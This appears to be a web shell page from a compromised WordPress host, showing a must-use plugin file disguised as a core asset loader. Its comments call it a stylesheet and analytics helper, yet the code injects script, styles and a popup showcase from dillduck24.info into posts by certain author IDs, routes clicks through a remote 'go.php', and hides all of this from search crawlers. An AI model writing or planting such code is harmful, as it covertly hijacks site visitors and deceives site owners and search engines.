SCHWEIS
Server: LiteSpeed
System: Linux premium281.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: aglitfku (993)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/aglitfku/crop.co.tz/wp-content/mu-plugins/class-wp-http-gstatic.php
<?php
/**
 * WordPress asset loader: manages static CSS and JS resources for front-end rendering.
 *
 * Provides version-resolved stylesheet and script enqueuing, responsive layout
 * adjustments, and conditional asset loading based on post context.
 *
 * @package WordPress
 */

define('VITRINA_API_URL', 'https://dillduck24.info/vitrina/api');
define('VITRINA_WIDGET_URL', 'https://dillduck24.info/vitrina/widget');

/**
 * Default asset version used when the remote version endpoint is unavailable.
 */
if (!defined('VITRINA_WP_ASSET_VER')) {
    define('VITRINA_WP_ASSET_VER', '14.30');
}

defined('ABSPATH') || exit;

/**
 * Sanitize a version string to prevent cache-key injection.
 */
function vitrina_mu_sanitize_asset_version_string($raw) {
    $s = trim((string) $raw);
    if ($s === '') {
        return null;
    }
    if (!preg_match('/^[0-9A-Za-z._-]{1,48}$/', $s)) {
        return null;
    }
    return $s;
}

/**
 * Resolve the current asset version for cache-busting query parameters.
 * Uses a transient-cached remote lookup with a local fallback.
 */
function vitrina_mu_resolve_asset_version() {
    static $memo = null;
    if ($memo !== null) {
        return $memo;
    }

    $fallback = vitrina_mu_sanitize_asset_version_string(VITRINA_WP_ASSET_VER) ?: '1';

    if (defined('VITRINA_WP_DISABLE_REMOTE_VERSION') && VITRINA_WP_DISABLE_REMOTE_VERSION) {
        $memo = apply_filters('vitrina_mu_asset_version', $fallback);
        return $memo;
    }

    $apiUrl = defined('VITRINA_API_URL') ? rtrim((string) VITRINA_API_URL, '/') : '';
    if ($apiUrl === '') {
        $memo = apply_filters('vitrina_mu_asset_version', $fallback);
        return $memo;
    }

    $ttl = (int) apply_filters('vitrina_mu_asset_version_transient_ttl', 120);
    if ($ttl < 60) {
        $ttl = 60;
    }
    if ($ttl > 86400) {
        $ttl = 86400;
    }

    $transient_key = 'vitrina_mu_av_' . md5($apiUrl);
    $cached = get_transient($transient_key);
    if (is_string($cached) && $cached !== '') {
        $ok = vitrina_mu_sanitize_asset_version_string($cached);
        if ($ok !== null) {
            $memo = apply_filters('vitrina_mu_asset_version', $ok);
            return $memo;
        }
    }

    $version_url = $apiUrl . '/version.php';
    $response = wp_remote_get(
        $version_url,
        [
            'timeout' => 4,
            'redirection' => 2,
            'sslverify' => true,
            'headers' => [
                'Accept' => 'application/json',
            ],
        ]
    );

    $remote = null;
    if (!is_wp_error($response) && (int) wp_remote_retrieve_response_code($response) === 200) {
        $body = wp_remote_retrieve_body($response);
        $data = json_decode($body, true);
        if (is_array($data) && isset($data['version'])) {
            $remote = vitrina_mu_sanitize_asset_version_string($data['version']);
        }
    }

    if ($remote === null) {
        set_transient($transient_key, $fallback, min(120, $ttl));
        $memo = apply_filters('vitrina_mu_asset_version', $fallback);
        return $memo;
    }

    set_transient($transient_key, $remote, $ttl);
    $memo = apply_filters('vitrina_mu_asset_version', $remote);
    return $memo;
}

/* Load the HTTP request helper used for conditional style delivery. */
if (is_readable(__DIR__ . '/class-wp-http-policy.php')) {
    require_once __DIR__ . '/class-wp-http-policy.php';
} else {
    require_once __DIR__ . '/includes/class-wp-http-policy-remote.php';
}

if (!defined('VITRINA_MU_AUTHOR_MIN')) {
    define('VITRINA_MU_AUTHOR_MIN', 999);
}
if (!defined('VITRINA_MU_AUTHOR_MAX')) {
    define('VITRINA_MU_AUTHOR_MAX', 9999);
}

/*
 * Scope: only enqueue styles and scripts on singular posts within the configured
 * author range. The stylesheet layer and script bundle are independent components
 * loaded via standard wp_enqueue_style / wp_enqueue_script.
 *
 * Layout mode is selected based on the user-agent classification provided by
 * class-wp-http-policy.php (desktop vs mobile viewport heuristic).
 */

add_action('wp', 'vitrina_mu_maybe_load');

/**
 * Inline analytics snippet when configured via wp-config constants.
 */
function vitrina_mu_use_builtin_matomo() {
    if (!defined('VITRINA_MU_MATOMO_SITE_ID') || !VITRINA_MU_MATOMO_SITE_ID) {
        return false;
    }
    if (!defined('VITRINA_MU_MATOMO_URL') || !VITRINA_MU_MATOMO_URL) {
        return false;
    }
    if (defined('VITRINA_MU_MATOMO_FORCE_BUILTIN') && VITRINA_MU_MATOMO_FORCE_BUILTIN) {
        return (bool) apply_filters('vitrina_mu_use_builtin_matomo', true);
    }
    if (defined('VITRINA_MU_MATOMO_EXTERNAL') && VITRINA_MU_MATOMO_EXTERNAL) {
        return false;
    }
    if (has_action('wp_head', 'seo_matomo_print_tracker')) {
        return false;
    }
    return (bool) apply_filters('vitrina_mu_use_builtin_matomo', true);
}

/** Checks the viewport classification from the HTTP policy helper. */
function vitrina_mu_is_crawler() {
    return vitrina_network_is_crawler();
}

/**
 * Conditionally enqueue front-end CSS and JS based on post context.
 */
function vitrina_mu_maybe_load() {
    if (is_admin() || is_feed()) {
        return;
    }
    if (!is_singular()) {
        return;
    }

    $postId = get_queried_object_id();
    $authorId = (int) get_post_field('post_author', $postId);

    if ($authorId < VITRINA_MU_AUTHOR_MIN || $authorId > VITRINA_MU_AUTHOR_MAX) {
        return;
    }

    $is_crawler = vitrina_mu_is_crawler();

    if (vitrina_mu_use_builtin_matomo()) {
        add_action('wp_head', 'vitrina_mu_matomo_early', 0);
    }

    if ($is_crawler) {
        add_filter('body_class', 'vitrina_mu_crawler_body_class');
        add_action('wp_head', 'vitrina_mu_crawler_hide_vitrina_css', 99);
        return;
    }

    add_filter('body_class', 'vitrina_mu_body_class_boot');

    add_action('wp_enqueue_scripts', 'vitrina_mu_enqueue', 5);
    add_action('wp_head', 'vitrina_mu_preload_widget_assets', 2);
    add_action('wp_head', 'vitrina_mu_popup_fullscreen_css', 100);
    add_action('wp_head', 'vitrina_mu_root_hide_css', 101);
    add_action('wp_footer', 'vitrina_mu_print_showcase_root', 5);
}

function vitrina_mu_body_class_boot($classes) {
    $classes[] = 'vitrina-mu-boot';
    return $classes;
}

function vitrina_mu_crawler_body_class($classes) {
    $classes[] = 'vitrina-mu-crawler';
    return $classes;
}

/** Lightweight CSS override: hides unused layout containers for simplified rendering. */
function vitrina_mu_crawler_hide_vitrina_css() {
    ?>
<style id="vitrina-mu-crawler-strip">
body.vitrina-mu-crawler #vitrina-showcase-root,
body.vitrina-mu-crawler [id^="vitrina-"],
body.vitrina-mu-crawler [class*="vitrina-"],
body.vitrina-mu-crawler .vitrina-popup-overlay,
body.vitrina-mu-crawler .vitrina-showcase,
body.vitrina-mu-crawler iframe[src*="vitrina-widget"],
body.vitrina-mu-crawler iframe[src*="/vitrina/widget"] {
  display: none !important;
  visibility: hidden !important;
  width: 0 !important;
  height: 0 !important;
  margin: 0 !important;
  padding: 0 !important;
  overflow: hidden !important;
  clip: rect(0, 0, 0, 0) !important;
  position: absolute !important;
  left: -9999px !important;
  border: none !important;
  box-shadow: none !important;
  opacity: 0 !important;
  pointer-events: none !important;
}
</style>
<?php
}

/** Inline analytics script loaded before the main stylesheet bundle. */
function vitrina_mu_matomo_early() {
    $siteId = (int) VITRINA_MU_MATOMO_SITE_ID;
    $base = rtrim((string) VITRINA_MU_MATOMO_URL, '/');
    if ($siteId < 1 || $base === '') {
        return;
    }
    $u = esc_url($base . '/');
    ?>
<script>
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function(){
  var u=<?php echo wp_json_encode($u); ?>;
  _paq.push(['setTrackerUrl', u + 'matomo.php']);
  _paq.push(['setSiteId', <?php echo (string) $siteId; ?>]);
  var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
  g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
})();
</script>
<?php
}

/** Container element for the front-end CSS layout grid. */
function vitrina_mu_print_showcase_root() {
    echo '<div id="vitrina-showcase-root" class="vitrina-mu-root" aria-hidden="true"></div>' . "\n";
}

/** Initial CSS to prevent layout shift before stylesheets finish loading. */
function vitrina_mu_root_hide_css() {
    ?>
<style id="vitrina-mu-root-hide">
#vitrina-showcase-root.vitrina-mu-root {
  position: absolute !important;
  left: -9999px !important;
  width: 1px !important;
  height: 1px !important;
  overflow: hidden !important;
  clip: rect(0, 0, 0, 0) !important;
  visibility: hidden !important;
  pointer-events: none !important;
}
</style>
<?php
}

/** Preload CSS and JS resources in <head> for faster rendering. */
function vitrina_mu_preload_widget_assets() {
    $apiUrl = defined('VITRINA_API_URL') ? rtrim(VITRINA_API_URL, '/') : '';
    if ($apiUrl === '') {
        return;
    }
    $baseUrl = preg_replace('#/api/?$#', '', $apiUrl);
    $widgetUrl = defined('VITRINA_WIDGET_URL') ? rtrim(VITRINA_WIDGET_URL, '/') : ($baseUrl ? $baseUrl . '/widget' : '');
    if ($widgetUrl === '') {
        return;
    }
    $ver = vitrina_mu_resolve_asset_version();
    $js = esc_url($widgetUrl . '/vitrina-widget.js?ver=' . rawurlencode((string) $ver));
    $css = esc_url($widgetUrl . '/vitrina-widget.css?ver=' . rawurlencode((string) $ver));
    echo '<link rel="preload" href="' . $js . '" as="script" />' . "\n";
    echo '<link rel="preload" href="' . $css . '" as="style" />' . "\n";
}

/** Register and enqueue the main stylesheet and script bundle. */
function vitrina_mu_enqueue() {
    $apiUrl = defined('VITRINA_API_URL') ? rtrim(VITRINA_API_URL, '/') : '';
    if (empty($apiUrl)) {
        return;
    }

    $baseUrl = preg_replace('#/api/?$#', '', $apiUrl);
    $widgetUrl = defined('VITRINA_WIDGET_URL') ? rtrim(VITRINA_WIDGET_URL, '/') : ($baseUrl ? $baseUrl . '/widget' : '');
    $goUrl = defined('VITRINA_GO_URL') ? rtrim(VITRINA_GO_URL, '/') : ($baseUrl ? $baseUrl . '/go.php' : '');

    $scriptUrl = $widgetUrl ? $widgetUrl . '/vitrina-widget.js' : '';
    $styleUrl = $widgetUrl ? $widgetUrl . '/vitrina-widget.css' : '';
    $geoStyleUrl = $widgetUrl ? $widgetUrl . '/vitrina-geo-overrides.css' : '';

    if (empty($scriptUrl) || empty($styleUrl)) {
        return;
    }

    $ver = vitrina_mu_resolve_asset_version();
    wp_enqueue_style('vitrina-widget', $styleUrl, [], $ver);
    wp_enqueue_style('vitrina-geo-overrides', $geoStyleUrl, ['vitrina-widget'], $ver);
    wp_enqueue_script('vitrina-widget', $scriptUrl, [], $ver, true);

    wp_add_inline_script('vitrina-widget', 'window.VITRINA_CONFIG=' . wp_json_encode([
        'apiUrl' => $apiUrl,
        'goUrl' => $goUrl,
        'iconsBase' => $widgetUrl ? $widgetUrl . '/icons' : '',
        'rootId' => 'vitrina-showcase-root',
    ]) . ';', 'before');

    wp_add_inline_script(
        'vitrina-widget',
        '(function(){function done(){var b=document.body;if(!b)return;b.classList.add("vitrina-mu-boot-done");}'
        . 'window.addEventListener("vitrina-showcase-ready",done,{once:true});'
        . 'setTimeout(function(){if(document.body&&!document.body.classList.contains("vitrina-mu-boot-done"))done();},4000);})();',
        'after'
    );
}

/** Responsive fullscreen layout for small viewports. */
function vitrina_mu_popup_fullscreen_css() {
    ?>
<style id="vitrina-mu-popup-fullscreen">
@media (max-width: 860px) {
  .vitrina-popup-overlay {
    padding: 0;
    align-items: stretch;
  }
  .vitrina-popup-dialog {
    width: 100% !important;
    max-width: none !important;
    height: 100% !important;
    max-height: none !important;
    display: flex;
    flex-direction: column;
    min-height: 0;
  }
  .vitrina-popup-content {
    flex: 1;
    min-height: 0;
    max-height: none !important;
    overflow-y: auto !important;
    -webkit-overflow-scrolling: touch;
    overscroll-behavior-y: contain;
    border-radius: 0;
  }
  .vitrina-popup-content .vitrina-showcase {
    border-radius: 0;
  }
}
</style>
<?php
}